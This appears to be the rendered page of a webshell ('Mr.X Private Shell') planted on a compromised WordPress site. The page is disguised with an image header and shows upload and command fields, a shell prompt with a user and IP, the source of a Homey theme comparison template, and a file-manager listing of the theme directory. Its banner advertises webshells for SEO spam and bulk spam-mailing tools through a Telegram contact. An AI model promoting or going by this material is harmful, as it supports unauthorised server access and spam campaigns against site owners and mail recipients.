����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

airtcsob@216.73.216.144: ~ $
<?php
/**
 * Template Name: Compare
 */
get_header();
global $homey_local, $homey_prefix;


if(isset($_COOKIE['homey_compare_listings'])){
    $ids = explode(',', $_COOKIE['homey_compare_listings']);
}

if(!isset($_COOKIE['homey_compare_listings'])){
    $ids = isset($_GET['ids']) ? explode(',', $_GET['ids']) : '';
}

$basic_info_escaped = $list_night_price = $listing_title = $list_bedrooms = $list_guests = $list_beds = $list_baths = $list_type = $list_size = '';
$counter   =  0;
$listings  =  array();
$hide_labels = homey_option('show_hide_labels');
the_content();
?>

<section class="main-content-area listing-page listing-page-full-width">
    <div class="container">
        <div class="row">
            <div class="col-xs-12 col-sm-12 col-md-12 col-lg-12">
                <div class="page-title">
                    <div class="block-top-title">
                        <h1 class="listing-title"><?php echo esc_html__(the_title('', '', false), 'homey'); ?></h1>
                    </div><!-- block-top-title -->
                </div><!-- page-title -->
            </div><!-- col-xs-12 col-sm-12 col-md-12 col-lg-12 -->
        </div><!-- .row -->
    </div><!-- .container -->

    <div class="container">
        <div class="row">
            <div class="col-xs-12 col-sm-12 col-md-12 col-lg-12">
                <?php
                if( !empty($ids) ) {
                $args = array(
                    'post_type' => 'listing',
                    'post__in' => $ids,
                    'post_status' => 'publish',
                    'order' => 'ASC',
                    'orderby' => 'post__in'
                );

                //do the query
                $the_query = New WP_Query($args);
                if( $the_query->have_posts() ): while( $the_query->have_posts() ): $the_query->the_post();

//                    if( homey_booking_type() == 'per_hour') {
//                        $night_price = get_post_meta( get_the_ID(), $homey_prefix.'hour_price', true );
//                    } else {
//                        $night_price = get_post_meta( get_the_ID(), $homey_prefix.'night_price', true );
//                    }

                    $night_price = homey_get_price();

                    $bedrooms     = get_post_meta( get_the_ID(), $homey_prefix.'listing_bedrooms', true );
                    $guests       = get_post_meta( get_the_ID(), $homey_prefix.'guests', true );
                    $beds         = get_post_meta( get_the_ID(), $homey_prefix.'beds', true );
                    $baths        = get_post_meta( get_the_ID(), $homey_prefix.'baths', true );
                    $size         = get_post_meta( get_the_ID(), $homey_prefix.'listing_size', true );
                    $size_unit    = get_post_meta( get_the_ID(), $homey_prefix.'listing_size_unit', true );
                    $listing_type = homey_taxonomy_simple('listing_type');

                    $basic_info_escaped .= '
                            <th><a href="'.esc_url(get_permalink()).'">'.get_the_post_thumbnail( get_the_id(), 'homey-listing-thumb', array( 'class' => 'img-responsive' ) ).'</a></th>';

                    
                    $listing_title .= '<td>' . get_the_title() . '</td>';
                    
                    if( !empty($night_price) ) {

                        if( homey_booking_type() == 'per_hour') {
                            $list_night_price .= '<td>'.homey_formatted_price($night_price, false, true).'/'.homey_option('glc_hour_label').'</td>';
                        } else {
                            $list_night_price .= '<td>'.homey_formatted_price($night_price, false, true).'/'.homey_option('glc_day_night_label').'</td>';
                        }
                        
                    } else {
                        $list_night_price .= '<td>---</td>';
                    }

                    if( !empty($bedrooms) ) {
                        $list_bedrooms .= '<td>'.$bedrooms.'</td>';
                    } else {
                        $list_bedrooms .= '<td>---</td>';
                    }

                    if( !empty($guests) ) {
                        $list_guests .= '<td>'.$guests.'</td>';
                    } else {
                        $list_guests .= '<td>---</td>';
                    }

                    if( !empty($beds) ) {
                        $list_beds .= '<td>'.$beds.'</td>';
                    } else {
                        $list_beds .= '<td>---</td>';
                    }

                    if( !empty($baths) ) {
                        $list_baths .= '<td>'.$baths.'</td>';
                    } else {
                        $list_baths .= '<td>---</td>';
                    }

                    if( !empty($size) ) {
                        $list_size .= '<td>'.$size.' '.$size_unit.'</td>';
                    } else {
                        $list_size .= '<td>---</td>';
                    }

                    if( !empty($listing_type) ) {
                        $list_type .= '<td>'.$listing_type.'</td>';
                    } else {
                        $list_type .= '<td>---</td>';
                    }

                    $counter++;

                endwhile; endif;
                ?>

                <div class="compare-table">
                    <table class="table-striped table-hover">
                        <thead>
                            <tr>
                                <th><!-- empty --></th>
                                <?php 
                                // This variable has been safely escaped in the same file: line 54
                                echo ''.$basic_info_escaped; ?>
                            </tr>
                        </thead>
                        <tbody>
                            <tr>
                                <td><strong><?php esc_html_e('Title', 'homey'); ?></strong></td>
                                <?php echo wp_kses($listing_title, homey_allowed_html()); ?>
                            </tr>
                            
                            <tr>
                                <td><strong><?php esc_html_e('Price', 'homey'); ?></strong></td>
                                <?php echo wp_kses($list_night_price, homey_allowed_html()); ?>
                            </tr>
                            
                            <?php if($hide_labels['sn_type_label'] != 1) { ?>
                            <tr>
                                <td><strong><?php echo homey_option('sn_type_label'); ?></strong></td>
                                <?php echo wp_kses($list_type, homey_allowed_html()); ?> 
                            </tr>
                            <?php } ?>
                            
                            <?php if($hide_labels['sn_size_label'] != 1) { ?>
                            <tr>
                                <td><strong><?php echo homey_option('sn_size_label'); ?></strong></td>
                                <?php echo wp_kses($list_size, homey_allowed_html()); ?>
                                
                            </tr>
                            <?php } ?>
                            

                            <?php if($hide_labels['sn_bedrooms_label'] != 1) { ?>
                            <tr>
                                <td><strong><?php echo homey_option('sn_bedrooms_label'); ?></strong></td>
                                <?php echo wp_kses($list_bedrooms, homey_allowed_html()); ?>
                                
                            </tr>
                            <?php } ?>

                            <?php if($hide_labels['sn_bathrooms_label'] != 1) { ?>
                            <tr>
                                <td><strong><?php echo homey_option('sn_bathrooms_label'); ?></strong></td>
                                <?php echo wp_kses($list_baths, homey_allowed_html()); ?>
                                
                            </tr>
                            <?php } ?>

                            <?php if($hide_labels['sn_beds_label'] != 1) { ?>
                            <tr>
                                <td><strong><?php echo homey_option('sn_beds_label'); ?></strong></td>
                                <?php echo wp_kses($list_beds, homey_allowed_html()); ?>
                                
                            </tr>
                            <?php } ?>

                            
                            <?php
                            $all_amenities = get_terms( array( 'taxonomy' => 'listing_amenity', 'fields' => 'names' ) );
                            $compare_terms = array();

                            foreach ( $ids as $post_ID ) :

                            $compare_terms[ $post_ID ] = wp_get_post_terms( $post_ID, 'listing_amenity', array( 'fields' => 'names' ) );

                            endforeach;

                            foreach ( $all_amenities as $data ) :

                            ?>
                            <tr>
                                <td><strong><?php echo wp_kses($data, homey_allowed_html()); ?></strong></td>
                                <?php

                                foreach ( $ids as $post_ID ) :

                                    if ( in_array( $data, $compare_terms[ $post_ID ] ) ) :

                                        echo '<td><i class="homey-icon homey-icon-check-circle-1 text-success"></i></td>';

                                    else :

                                        echo '<td><i class="homey-icon homey-icon-close text-danger"></i></td>';

                                    endif;

                                endforeach;

                                ?>
                            </tr>
                            <?php
                            endforeach;
                            ?>
                            
                        </tbody>
                    </table>
                </div>

                <?php } ?>

            </div><!-- col-xs-12 col-sm-12 col-md-8 col-lg-8 -->
        </div><!-- .row -->
    </div>   <!-- .container -->
    
    
</section><!-- main-content-area listing-page grid-listing-page -->


<?php get_footer(); ?>

Filemanager

Name Type Size Permission Actions
dashboard-exp-payment.php File 16.95 KB 0644
dashboard-experience-submission.php File 8.29 KB 0644
dashboard-experience-submitted.php File 5.79 KB 0644
dashboard-experiences.php File 11.37 KB 0644
dashboard-favorites.php File 8.54 KB 0644
dashboard-invoices.php File 7.31 KB 0644
dashboard-listing-submitted.php File 6.84 KB 0644
dashboard-listings.php File 11.73 KB 0644
dashboard-membership-host.php File 11.66 KB 0644
dashboard-messages.php File 7.17 KB 0644
dashboard-payment.php File 16.84 KB 0644
dashboard-profile.php File 6.08 KB 0644
dashboard-reservations-experiences.php File 6.85 KB 0644
dashboard-reservations.php File 9.61 KB 0644
dashboard-reservations2-experiences.php File 1.16 KB 0644
dashboard-reservations2.php File 2.29 KB 0644
dashboard-submission.php File 7.79 KB 0644
dashboard-wallet.php File 4.39 KB 0644
dashboard.php File 2.75 KB 0644
template-compare-exp.php File 6.68 KB 0644
template-compare.php File 10.05 KB 0644
template-exp-search.php File 531 B 0644
template-experience-card.php File 6.54 KB 0644
template-experience-grid.php File 6.33 KB 0644
template-experience-list.php File 6.22 KB 0644
template-experience-sticky-map.php File 6.37 KB 0644
template-half-map-exp.php File 2.19 KB 0644
template-half-map.php File 2.17 KB 0644
template-homepage.php File 618 B 0644
template-ical-exp.php File 1.72 KB 0644
template-ical.php File 1.77 KB 0644
template-instance-booking.php File 1.06 KB 0644
template-instance-exp-booking.php File 831 B 0644
template-listing-all-reviews.php File 4.13 KB 0644
template-listing-as-page.php File 298 B 0644
template-listing-card.php File 6.7 KB 0644
template-listing-grid-v2.php File 7.03 KB 0644
template-listing-grid.php File 6.74 KB 0644
template-listing-list-v2.php File 6.74 KB 0644
template-listing-list.php File 6.34 KB 0644
template-listing-sticky-map.php File 6.58 KB 0644
template-membership-webhook.php File 37.93 KB 0644
template-page.php File 2.61 KB 0644
template-search.php File 495 B 0644
template-splash-exp.php File 3.74 KB 0644
template-splash.php File 3.35 KB 0644
template-stripe-charge-exp.php File 7.4 KB 0644
template-stripe-charge.php File 11.83 KB 0644
template-subscriptions-payment-complete.php File 23 KB 0644
template-subscriptions-stripe-charge.php File 3.98 KB 0644
template-verification.php File 2.76 KB 0644
template-woocommerce.php File 2.02 KB 0644
testing.php File 87 B 0644